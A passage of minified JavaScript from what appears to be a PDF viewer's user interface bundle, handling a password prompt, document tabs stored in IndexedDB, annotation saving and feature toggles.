Object.keys(t).forEach((function(n){var r=t[n];(r instanceof window.Core.Tools.GenericAnnotationCreateTool||r instanceof window.Core.Tools.TextAnnotationCreateTool||r.defaults)&&e.push(r.name)})),e},Zp=function(e,t){return function(){var n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:qp(),r={AnnotationCreateTextUnderline:"textUnderlineToolButton",AnnotationCreateTextHighlight:"textHighlightToolButton",AnnotationCreateTextSquiggly:"textSquigglyToolButton",AnnotationCreateTextStrikeout:"textStrikeoutToolButton"},o="string"==typeof n?[n]:n,i=fi.getToolButtonDataElements(t.getState(),o);Object.keys(r).forEach((function(e){-1!==o.indexOf(e)&&i.push(r[e])}));var a=vt.getToolMode();!e&&n.indexOf(null==a?void 0:a.name)>-1&&vt.setToolMode(window.Core.Tools.ToolNames.EDIT),e?(o.forEach((function(e){Ip.on(e)})),t.dispatch(Ps.enableElements(i,2))):(o.forEach((function(e){Ip.off(e)})),t.dispatch(Ps.disableElements(i,2)))}},Yp=function(e){return Zp(!0,e)},$p=function(e){return Zp(!1,e)},Kp=function(e){vt.setToolMode(e)};n(936);function Xp(e,t){void 0===e&&(e=!1),void 0===t&&(t={});var n=t.focusLastOnUnlock,r=Object(l.useRef)(null),o=Object(l.useCallback)((function(){return r.current.querySelectorAll(Ap)}),[]),i=Object(l.useCallback)((function(t){if(e&&(!t||"Tab"===t.key)&&r.current){var n=o();if(!n.length)return null==t?void 0:t.preventDefault();var i=Qp(n,document.activeElement);if(-1===i||t)return-1===i||!(null==t?void 0:t.shiftKey)&&i===n.length-1?(n[0].focus(),null==t?void 0:t.preventDefault()):(null==t?void 0:t.shiftKey)&&0===i?(n[n.length-1].focus(),null==t?void 0:t.preventDefault()):void 0}}),[o,e]),a=Object(l.useCallback)((function(t){var n;if(e&&r.current){var i=o();return i.length?-1===Qp(i,t.target)?i[0].focus():void 0:null===(n=t.target)||void 0===n?void 0:n.blur()}}),[o,e]);Object(l.useEffect)((function(){if("undefined"!=typeof window)return document.addEventListener("keydown",i),document.addEventListener("focusin",a),function(){document.removeEventListener("keydown",i),document.removeEventListener("focusin",a)}}),[a,i]);var s,u,c=(s=n,u=Object(l.useRef)(s),Object(l.useEffect)((function(){u.current=s})),u);return Object(l.useEffect)((function(){var t,n;if("undefined"!=typeof window&&e){if(c.current&&!(null===(t=r.current)||void 0===t?void 0:t.contains(document.activeElement)))return n=document.activeElement,i(),function(){return n.focus()};i()}}),[c,i,e]),r}function Qp(e,t){var n=-1;if(!t)return n;for(var r=0;r<e.length;r++)if(e[r]===t){n=r;break}return n}var Jp=function(e){var t=e.locked,n=e.focusLastOnUnlock,r=e.children,o=Xp(t,{focusLastOnUnlock:n});return Object(l.cloneElement)(r,{ref:o})};n(937);function eh(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return th(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return th(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function th(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var nh=function(e){var t=eh(Ks(),1)[0];return s.a.createElement(Jp,{locked:e.isOpen},s.a.createElement("div",{className:"modal-container",onClick:e.containerOnClick},s.a.createElement("div",{className:"wrapper"},s.a.createElement("div",{className:"header-container"},t(e.title),s.a.createElement(bf,{className:"close-button",dataElement:e.closeButtonDataElement,title:"action.close",img:"ic_close_black_24px",onClick:e.onCloseClick})),e.children)))};function rh(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return oh(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return oh(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function oh(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var ih=function(){},ah=function(){var e=rh(le((function(e){return[fi.isElementOpen(e,"passwordModal"),fi.getPasswordAttempts(e),fi.getIsMultiTab(e)]}),N),3),t=e[0],n=e[1],r=e[2],o=re(),i=rh(Ks(),1)[0],a=s.a.createRef(),u=rh(Object(l.useState)(""),2),c=u[0],f=u[1],d=rh(Object(l.useState)(!1),2),p=d[0],h=d[1];Object(l.useEffect)((function(){var e;t?(o(Ps.closeElement("progressModal")),null===(e=a.current)||void 0===e||e.focus(),window.addEventListener("keydown",(function(e){return _p(e,v)}))):(f(""),h(!1));return function(){return window.removeEventListener("keydown",_p)}}),[o,t,a]);var m,g=function(e){e.preventDefault(),ih(c)},v=function(e){"Escape"===e.key?h(!0):o(Ps.closeElement("passwordModal"))},y=function(e){return s.a.createElement(nh,{isOpen:t,title:"message.error",closeButtonDataElement:"errorModalCloseButton",onCloseClick:v},s.a.createElement("div",{className:"modal-content error-modal-content"},s.a.createElement("p",null,i(e))),s.a.createElement("div",{className:"modal-footer footer"},s.a.createElement(bf,{className:"confirm modal-button",dataElement:"passwordSubmitButton",label:i("action.ok"),onClick:v})))},b=function(e){13===e.which&&g(e)},w=function(){var e=0!==n;return s.a.createElement(nh,{isOpen:t,title:"message.passwordRequired",closeButtonDataElement:"errorModalCloseButton",onCloseClick:function(){h(!0)}},s.a.createElement("form",{onSubmit:g},s.a.createElement("div",null,i("message.enterPassword")),s.a.createElement("input",{className:"".concat(e?"wrong":"correct"," text-input-modal"),type:"password",ref:a,autoComplete:"current-password",value:c,onKeyDown:b,onChange:function(e){return f(e.target.value)},"aria-label":i("message.passwordRequired"),placeholder:i("message.enterPasswordPlaceholder")}),e&&s.a.createElement("div",{className:"incorrect-password"},i("message.incorrectPassword",{remainingAttempts:3-n}))),s.a.createElement("div",{className:"modal-footer footer"},s.a.createElement(bf,{className:"confirm modal-button",dataElement:"passwordSubmitButton",label:i("action.submit"),disabled:!c,onClick:g})))},E=0;r&&(E+=null===(m=document.getElementsByClassName("TabsHeader")[0])||void 0===m?void 0:m.getBoundingClientRect().bottom);return s.a.createElement("div",{className:js()({Modal:!0,PasswordModal:!0,open:t,closed:!t}),"data-element":"passwordModal",style:r?{height:"calc(100% - ".concat(E,"px)")}:void 0},3===n?y("message.encryptedAttemptsExceeded"):p?y("message.encryptedUserCancelled"):w())},lh=window.Core.getHashParameter;function sh(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function uh(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?sh(Object(n),!0).forEach((function(t){ch(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):sh(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function ch(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var fh,dh=function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};if(vt.closeDocument(),(n=uh(uh({},ph()),n)).docId=n.documentId||null,n.onLoadingProgress=function(t){return e(Ps.setLoadingProgress(t))},n.password=hh(n.password,e),n.xodOptions=mh(n),"onError"in n){var r=n.onError;n.onError=function(e){r(e),Ut(e)}}else n.onError=Ut;e(Ps.closeElement("passwordModal")),vt.loadDocument(t,n).catch((function(){})),e(Ps.openElement("progressModal"))},ph=function(){return{startOffline:lh("startOffline",!1),azureWorkaround:lh("azureWorkaround",!1),webviewerServerURL:lh("webviewerServerURL",""),fallbackToClientSide:lh("fallbackToClientSide",!1),singleServerMode:lh("singleServerMode",!1),forceClientSideInit:lh("forceClientSideInit",!1),disableWebsockets:lh("disableWebsockets",!1),cacheKey:JSON.parse(lh("cacheKey",null)),officeOptions:JSON.parse(lh("officeOptions",null)),streaming:lh("streaming",null),useDownloader:lh("useDownloader",!0),backendType:lh("pdf",null),loadAsPDF:lh("loadAsPDF",null)}},hh=function(e,t){var n=!1,r=0;return function(o){t(Ps.setPasswordAttempts(r++)),n||"string"!=typeof e?(n&&console.error("Wrong password has been passed as an argument. WebViewer will open password modal."),ih=o,t(Ps.openElement("passwordModal"))):(o(e),n=!0)}},mh=function(e){var t=e.xodOptions||{};return e.decryptOptions&&(t.decrypt=window.Core.Encryption.decrypt,t.decryptOptions=e.decryptOptions),e.decrypt&&(t.decrypt=e.decrypt),null!==e.streaming&&(t.streaming="true"===e.streaming||!0===e.streaming),e.azureWorkaround&&(t.azureWorkaround=e.azureWorkaround),e.startOffline&&(t.startOffline=e.startOffline),t},gh=n(46),vh=n.n(gh);function yh(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=wh(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,o=function(){};return{s:o,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:o}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var i,a=!0,l=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return a=e.done,e},e:function(e){l=!0,i=e},f:function(){try{a||null==n.return||n.return()}finally{if(l)throw i}}}}function bh(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||wh(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function wh(e,t){if(e){if("string"==typeof e)return Eh(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?Eh(e,t):void 0}}function Eh(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function Sh(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function Ch(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){Sh(i,r,o,a,l,"next",e)}function l(e){Sh(i,r,o,a,l,"throw",e)}a(void 0)}))}}function xh(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function Oh(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Ah(e,t,n){return t&&Oh(e.prototype,t),n&&Oh(e,n),Object.defineProperty(e,"prototype",{writable:!1}),e}function _h(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}fh=Symbol.iterator;var Th=function(){function e(t,n,r){var o=this;xh(this,e),_h(this,"db",void 0),_h(this,"store",void 0),_h(this,"useDB",void 0),this.store=r;var i=this.store.getState().viewer.tabs;if(this.useDB=!this.store.getState().advanced.disableIndexedDB,t.forEach((function(e,t){var r=n&&Object(gh.isString)(e)?n[n.length>1?t:0]:void 0,a="Document ".concat(i.length+1);Object(gh.isString)(e)?a=e.substring(e.lastIndexOf("/")+1):e instanceof window.Core.Document&&e.getFilename&&e.getFilename()&&(a=e.getFilename()),i.push(new kh(i.length,e,{filename:a,extension:r},o.useDB))})),this.useDB){var a=indexedDB.open("WebViewer Files",1);a.onerror=e.indexedDBNotSupported,a.onsuccess=Ch(regeneratorRuntime.mark((function t(){return regeneratorRuntime.wrap((function(t){for(;;)switch(t.prev=t.next){case 0:o.db=a.result,o.db.onerror=e.throwError;case 2:case"end":return t.stop()}}),t)}))),a.onupgradeneeded=function(e){e.target.result.createObjectStore("files")}}this.store.dispatch(Ps.setTabs(i))}var t,n;return Ah(e,[{key:"setActiveTab",value:(n=Ch(regeneratorRuntime.mark((function e(t){var n,r,o,i,a,l,s=this,u=arguments;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(n=u.length>1&&void 0!==u[1]&&u[1],this.store.dispatch(Ps.openElement("progressModal")),this.store.dispatch(Oa(0)),r=this.store.getState().viewer,o=r.tabs,i=r.activeTab,a=o.find((function(e){return e.id===i})),vt.addEventListener("documentUnloaded",(function(){return s.listenForAnnotChanges()}),{once:!0}),!a){e.next=12;break}if(e.t0=n,!e.t0){e.next=11;break}return e.next=11,a.saveCurrentActiveTabState(this.db);case 11:vt.closeDocument();case 12:if(l=o.find((function(e){return e.id===t}))){e.next=15;break}return e.abrupt("return",console.error("Tab id not found: ".concat(t)));case 15:return zt(Ht.BEFORE_TAB_CHANGED,{currentTab:a?{src:a.src,options:a.options,annotationsChanged:a.changes.annotations,id:a.id}:null,nextTab:{src:l.src,options:l.options,id:l.id}}),this.listenForAnnotChanges(),this.store.dispatch(Ps.setActiveTab(t)),e.next=20,l.load(this.store.dispatch,this.db);case 20:case"end":return e.stop()}}),e,this)}))),function(e){return n.apply(this,arguments)})},{key:"deleteTab",value:function(e){var t=this.store.getState().viewer,n=t.tabs,r=t.activeTab,o=bh(n.splice(n.findIndex((function(t){return t.id===e})),1),1)[0];o.delete(this.db),zt(Ht.TAB_DELETED,{src:o.src,options:o.options,id:o.id}),e===r&&n.length?this.setActiveTab(n[0].id):n.length||(vt.closeDocument(),this.store.dispatch(Ps.setActiveTab(null))),this.store.dispatch(Ps.setTabs(n))}},{key:"addTab",value:(t=Ch(regeneratorRuntime.mark((function e(t){var n,r,o,i,a,l,s,u=arguments;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(n=u.length>1&&void 0!==u[1]?u[1]:{},r=!1===n.saveCurrentActiveTabState||!1===n.saveCurrent,o=!1===n.useDB?n.useDB&&this.useDB:this.useDB,i=!1===n.setActive||!1===n.load,a=this.store.getState().viewer.tabs,l=a.reduce((function(e,t){return t.id>e?t.id:e}),0),"filename"in n||(n.filename="Document ".concat(l+2),Object(gh.isString)(t)?n.filename=t.substring(t.lastIndexOf("/")+1):t instanceof window.Core.Document&&t.getFilename&&t.getFilename()&&(n.filename=t.getFilename())),s=new kh(l+1,t,n,o),a.push(s),zt(Ht.TAB_ADDED,{src:s.src,options:s.options,id:s.id}),i){e.next=14;break}return this.moveTab(a.length-1,0),e.next=14,this.setActiveTab(s.id,!r);case 14:return this.store.dispatch(Ps.setTabs(a)),e.abrupt("return",s.id);case 16:case"end":return e.stop()}}),e,this)}))),function(e){return t.apply(this,arguments)})},{key:"moveTab",value:function(e,t){var n=this.store.getState().viewer.tabs,r=n.splice(e,1)[0];n.splice(t,0,r),zt(Ht.TAB_MOVED,{src:r.src,options:r.options,id:r.id,prevIndex:e,newIndex:t}),this.store.dispatch(Ps.setTabs(n))}},{key:"listenForAnnotChanges",value:function(){var e=this,t=function(){var t=e.store.getState().viewer,n=t.tabs,r=t.activeTab;n.find((function(e){return e.id===r})).changes.annotations=!0},n=function(){vt.addEventListener("annotationChanged",t,{once:!0})};vt.addEventListener("annotationsLoaded",n,{once:!0});vt.addEventListener("documentUnloaded",(function(){vt.removeEventListener("annotationChanged",t),vt.removeEventListener("annotationsLoaded",n)}),{once:!0})}},{key:fh,value:regeneratorRuntime.mark((function e(){var t,n,r,o;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:t=this.store.getState().viewer.tabs,n=yh(t),e.prev=2,n.s();case 4:if((r=n.n()).done){e.next=10;break}return o=r.value,e.next=8,o;case 8:e.next=4;break;case 10:e.next=15;break;case 12:e.prev=12,e.t0=e.catch(2),n.e(e.t0);case 15:return e.prev=15,n.f(),e.finish(15);case 18:case"end":return e.stop()}}),e,this,[[2,12,15,18]])}))},{key:"map",value:function(e){var t,n=[],r=0,o=yh(this.store.getState().viewer.tabs);try{for(o.s();!(t=o.n()).done;){var i=t.value;n.push(e(i,r++))}}catch(e){o.e(e)}finally{o.f()}return n}}],[{key:"throwError",value:function(){console.warn("File database has encountered an error. File data will not be saved when switching tabs")}},{key:"indexedDBNotSupported",value:function(){console.warn("IndexedDB is not supported, file data will not be saved")}}]),e}();_h(Th,"MAX_FILE_SIZE",25e7);var kh=function(){function e(t,n){var r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},o=!(arguments.length>3&&void 0!==arguments[3])||arguments[3];xh(this,e),_h(this,"disabled",!1),_h(this,"saveData",{annotInDB:!1,docInDB:!1,scrollTop:null,scrollLeft:null,page:null,annots:null}),_h(this,"changes",{annotations:!1}),_h(this,"id",void 0),_h(this,"src",void 0),_h(this,"options",void 0),_h(this,"useDB",void 0),this.id=t,this.src=n,this.options=r,this.useDB=o}var t,n,r,o,i,a,l,s,u;return Ah(e,[{key:"preLoad",value:(u=Ch(regeneratorRuntime.mark((function e(t){var n;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(this.useDB){e.next=2;break}return e.abrupt("return",console.error("Cant preload tab with useDB = false"));case 2:return e.next=4,fetch(this.src);case 4:return n=e.sent,e.t0=this,e.t1=t,e.next=9,n.arrayBuffer();case 9:return e.t2=e.sent,e.next=12,e.t0.writeToDB.call(e.t0,e.t1,e.t2);case 12:case"end":return e.stop()}}),e,this)}))),function(e){return u.apply(this,arguments)})},{key:"load",value:(s=Ch(regeneratorRuntime.mark((function e(t,n){var r,o,i,a=this;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:vt.addEventListener("documentUnloaded",Ch(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(a.restorePageDataOnLoad(),!a.saveData.annotInDB){e.next=6;break}return e.next=4,a.restoreAnnotDataFromDBOnLoad(n);case 4:e.next=7;break;case 6:a.restoreAnnotDataOnLoad();case 7:case"end":return e.stop()}}),e)}))),{once:!0}),this.useDB&&this.saveData.docInDB?(r=n.transaction("files","readonly"),o=r.objectStore("files"),(i=o.get(this.id)).onsuccess=Ch(regeneratorRuntime.mark((function e(){var n;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:n=i.result,dh(t,n,a.options);case 2:case"end":return e.stop()}}),e)}))),r.commit()):dh(t,this.src,this.options);case 2:case"end":return e.stop()}}),e,this)}))),function(e,t){return s.apply(this,arguments)})},{key:"saveCurrentActiveTabState",value:(l=Ch(regeneratorRuntime.mark((function e(t){var n;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(this.disabled=!0,this.savePageData(),n=vt.getDocument(),!this.useDB||(null==n?void 0:n.type)!==zu||!n.arePagesAltered()){e.next=8;break}return e.next=6,this.saveFileData(t,n);case 6:e.next=19;break;case 8:if(!this.useDB){e.next=15;break}if(e.t0=this.changes.annotations,!e.t0){e.next=13;break}return e.next=13,this.saveAnnotDataInDB(t);case 13:e.next=19;break;case 15:if(e.t1=this.changes.annotations,!e.t1){e.next=19;break}return e.next=19,this.saveAnnotData();case 19:this.disabled=!1;case 20:case"end":return e.stop()}}),e,this)}))),function(e){return l.apply(this,arguments)})},{key:"saveFileData",value:(a=Ch(regeneratorRuntime.mark((function e(t,n){var r,o;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,vt.exportAnnotations();case 2:return r=e.sent,e.next=5,n.getFileData({xfdfString:r,flags:window.Core.SaveOptions.LINEARIZED,finishedWithDocument:!0});case 5:return o=e.sent,e.next=8,this.writeToDB(t,o);case 8:case"end":return e.stop()}}),e,this)}))),function(e,t){return a.apply(this,arguments)})},{key:"saveAnnotData",value:(i=Ch(regeneratorRuntime.mark((function e(){var t;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(this.saveData.annotInDB=!1,!((t=vt.getAnnotationsList()).length>0)){e.next=6;break}return e.next=5,vt.exportAnnotations({annotList:t});case 5:this.saveData.annots=e.sent;case 6:case"end":return e.stop()}}),e,this)}))),function(){return i.apply(this,arguments)})},{key:"saveAnnotDataInDB",value:(o=Ch(regeneratorRuntime.mark((function e(t){var n,r,o;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(!((n=vt.getAnnotationsList()).length>0)){e.next=11;break}return e.next=4,vt.exportAnnotations({annotList:n});case 4:return r=e.sent,(o=t.transaction("files","readwrite")).objectStore("files").put(r,"".concat(this.id,"-annots")),e.next=10,o.commit();case 10:this.saveData.annotInDB=!0;case 11:case"end":return e.stop()}}),e,this)}))),function(e){return o.apply(this,arguments)})},{key:"savePageData",value:function(){var e=document.getElementsByClassName("DocumentContainer")[0];this.saveData.scrollTop=e.scrollTop,this.saveData.scrollLeft=e.scrollLeft,this.saveData.page=vt.getCurrentPage();this.saveData.zoom=Math.floor(1e4*vt.getZoom())/1e4}},{key:"restorePageDataOnLoad",value:function(){var e=this,t=document.getElementsByClassName("DocumentContainer")[0],n=function(){var n=Ch(regeneratorRuntime.mark((function n(){return regeneratorRuntime.wrap((function(n){for(;;)switch(n.prev=n.next){case 0:return n.next=2,vt.getDocument().getDocumentCompletePromise();case 2:t.scrollTop=e.saveData.scrollTop,t.scrollLeft=e.saveData.scrollLeft;case 4:case"end":return n.stop()}}),n)})));return function(){return n.apply(this,arguments)}}(),r=function(){var t=Ch(regeneratorRuntime.mark((function t(){return regeneratorRuntime.wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.next=2,vt.getDocument().getDocumentCompletePromise();case 2:vt.zoomTo(e.saveData.zoom);case 3:case"end":return t.stop()}}),t)})));return function(){return t.apply(this,arguments)}}(),o=function(){var t=Ch(regeneratorRuntime.mark((function t(){return regeneratorRuntime.wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.next=2,vt.getDocument().getDocumentCompletePromise();case 2:vt.setCurrentPage(e.saveData.page);case 3:case"end":return t.stop()}}),t)})));return function(){return t.apply(this,arguments)}}();this.saveData.scrollTop&&vt.addEventListener("finishedRendering",n,{once:!0}),this.saveData.zoom&&vt.addEventListener("documentLoaded",r,{once:!0}),this.saveData.page&&vt.addEventListener("documentLoaded",o,{once:!0});vt.addEventListener("documentUnloaded",(function(){vt.removeEventListener("documentLoaded",o),vt.removeEventListener("documentLoaded",r),vt.removeEventListener("finishedRendering",n)}),{once:!0})}},{key:"restoreAnnotDataOnLoad",value:function(){var e=this,t=function(){var n=Ch(regeneratorRuntime.mark((function n(){return regeneratorRuntime.wrap((function(n){for(;;)switch(n.prev=n.next){case 0:return n.next=2,vt.getDocument().getDocumentCompletePromise();case 2:return n.next=4,vt.getAnnotationManager().importAnnotations(e.saveData.annots);case 4:vt.removeEventListener("annotationsLoaded",t);case 5:case"end":return n.stop()}}),n)})));return function(){return n.apply(this,arguments)}}();this.saveData.annots&&vt.addEventListener("annotationsLoaded",t);vt.addEventListener("documentUnloaded",(function(){vt.removeEventListener("annotationsLoaded",t)}),{once:!0})}},{key:"restoreAnnotDataFromDBOnLoad",value:(r=Ch(regeneratorRuntime.mark((function e(t){var n,r,o,i,a,l;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(!this.saveData.annotInDB){e.next=11;break}return n=t.transaction("files","readwrite"),r=n.objectStore("files"),(i=r.get("".concat(this.id,"-annots"))).onsuccess=function(){o=i.result},e.next=7,n.commit();case 7:a=function(){var e=Ch(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,vt.getDocument().getDocumentCompletePromise();case 2:return e.next=4,vt.getAnnotationManager().importAnnotations(o);case 4:vt.removeEventListener("annotationsLoaded",a);case 5:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}(),vt.addEventListener("annotationsLoaded",a),l=function(){vt.removeEventListener("annotationsLoaded",a)},vt.addEventListener("documentUnloaded",l,{once:!0});case 11:case"end":return e.stop()}}),e,this)}))),function(e){return r.apply(this,arguments)})},{key:"writeToDB",value:(n=Ch(regeneratorRuntime.mark((function e(t,n){var r;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return(r=t.transaction("files","readwrite")).objectStore("files").put(n,this.id),this.saveData.docInDB=!0,e.next=6,r.commit();case 6:case"end":return e.stop()}}),e,this)}))),function(e,t){return n.apply(this,arguments)})},{key:"delete",value:(t=Ch(regeneratorRuntime.mark((function e(t){var n,r;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(!this.useDB){e.next=8;break}return n=t.transaction("files","readwrite"),(r=n.objectStore("files")).delete(this.id),r.delete("".concat(this.id,"-annot-states")),r.delete("".concat(this.id,"-annots")),e.next=8,n.commit();case 8:case"end":return e.stop()}}),e,this)}))),function(e){return t.apply(this,arguments)})}]),e}();function Ph(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Mh=function(e,t){return function(n){var r,o=arguments.length>1&&void 0!==arguments[1]?arguments[1]:2,i=(Ph(r={},Wp.Ribbons,{dataElements:["ribbons"]}),Ph(r,Wp.Annotating,{dataElements:["toolsHeader","toggleToolsButton","annotationPopup","linkButton","noteState"],fn:function(){e?t.dispatch(Ps.enableRibbons()):t.dispatch(Ps.setReadOnlyRibbons())}}),Ph(r,Wp.Measurement,{dataElements:["toolbarGroup-Measure","measurementOverlay","distanceToolGroupButton","arcMeasurementToolGroupButton","perimeterToolGroupButton","areaToolGroupButton","rectangleAreaToolGroupButton","ellipseAreaToolGroupButton","countToolGroupButton","cloudyRectangleAreaToolGroupButton"]}),Ph(r,Wp.Annotations,{dataElements:["ribbons","notesPanel","toggleNotesButton","toggleToolsButton","toolsButton","linkButton","toolsHeader","toolsOverlay"],fn:function(){e?(vt.showAnnotations(vt.getAnnotationsList()),Yp(t)()):(vt.hideAnnotations(vt.getAnnotationsList()),$p(t)())}}),Ph(r,Wp.Download,{dataElements:["downloadButton"]}),Ph(r,Wp.FilePicker,{dataElements:["filePickerHandler","filePickerButton"],fn:function(){var t=Uc(zc.CTRL_O,zc.COMMAND_O);e?Ip.on(t):Ip.off(t)}}),Ph(r,Wp.LocalStorage,{fn:function(){e?Dp.enableLocalStorage():Dp.disableLocalStorage()}}),Ph(r,Wp.NotesPanel,{dataElements:["annotationCommentButton","notesPanelButton","notesPanel","toggleNotesButton"]}),Ph(r,Wp.Print,{dataElements:["printButton","printModal"],fn:function(){var t=Uc(zc.CTRL_P,zc.COMMAND_P);e?Ip.on(t):Ip.off(t)}}),Ph(r,Wp.Redaction,{dataElements:["redactionToolGroupButton","redactionPanel","redactionPanelToggle","pageRedactionToolGroupButton"],fn:function(){if(e&&!vt.isFullPDFEnabled())console.warn("Full api is not enabled, applying redactions is disabled");else{vt.enableRedaction(e);var n=fi.getCurrentToolbarGroup(t.getState());e||"toolbarGroup-Redact"!==n||Kp("AnnotationEdit")}}}),Ph(r,Wp.TextSelection,{dataElements:["textPopup","textSelectButton"],fn:function(){e||(vt.clearSelection(),vt.setToolMode("AnnotationEdit")),window.Core.Tools.Tool.ENABLE_TEXT_SELECTION=e}}),Ph(r,Wp.TouchScrollLock,{fn:function(){Gp.enableTouchScrollLock=e}}),Ph(r,Wp.Copy,{dataElements:["copyTextButton"],fn:function(){var t=Uc(zc.CTRL_C,zc.COMMAND_C);e?Ip.on(t):Ip.off(t)}}),Ph(r,Wp.MultipleViewerMerging,{fn:function(){t.dispatch(Ps.setIsMultipleViewerMerging(e))}}),Ph(r,Wp.ThumbnailMerging,{fn:function(){t.dispatch(Ps.setThumbnailMerging(e))}}),Ph(r,Wp.ThumbnailReordering,{fn:function(){t.dispatch(Ps.setThumbnailReordering(e))}}),Ph(r,Wp.ThumbnailMultiselect,{fn:function(){t.dispatch(Ps.setThumbnailMultiselect(e))}}),Ph(r,Wp.NotesPanelVirtualizedList,{fn:function(){t.dispatch(Ps.setEnableNotesPanelVirtualizedList(e))}}),Ph(r,Wp.PageNavigation,{fn:function(){var 